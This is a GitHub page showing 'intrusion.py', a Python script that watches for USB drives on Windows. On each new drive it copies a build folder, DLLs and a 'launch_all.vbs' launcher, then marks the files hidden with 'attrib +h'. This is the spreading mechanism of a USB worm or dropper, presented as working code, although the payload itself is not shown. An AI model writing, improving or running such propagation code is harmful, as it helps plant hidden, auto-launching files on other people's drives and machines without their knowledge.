-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathintrusion.py
More file actions
57 lines (50 loc) · 1.22 KB
/
intrusion.py
File metadata and controls
57 lines (50 loc) · 1.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from sys import argv
from datetime import datetime
from tkinter import messagebox
import os
import time
import ports
import tkinter
startTime = time.time()
script = argv
name = str(script[0])
USBList = []
global root
root = tkinter.Tk()
root.withdraw()
def copy_to_key(dst):
'''
Copie du PC à la clé USB
'''
if os.name == 'nt':
os.mkdir(dst + '\\build')
os.system("robocopy /S C:\\Users\\Public\\build " + dst + "\\build")
os.system("copy tk86t.dll " + dst)
os.system("copy tcl86t.dll " + dst)
os.system("attrib +h " + dst + "\\* /d")
os.system("copy scripts\\launch_all.vbs " + dst)
messagebox.showinfo("Buzz", "Copié vers " + dst)
def USBDetect():
'''
Détection de clés USB
'''
if os.name == 'nt':
USBDir = ports.get_usb_devices()
lencount = len(USBDir)
lencount -= 1
while lencount >= 0:
time.sleep(0.5)
try:
if os.path.exists(USBDir[lencount]):
if USBDir[lencount] not in USBList:
if not os.path.exists(USBDir[lencount] + "\\build"):
USBList.append(USBDir[lencount])
copy_to_key(USBDir[lencount])
lencount -= 1
else:
lencount -= 1
except IOError:
pass
if __name__ == '__main__':
while(1):
USBDetect()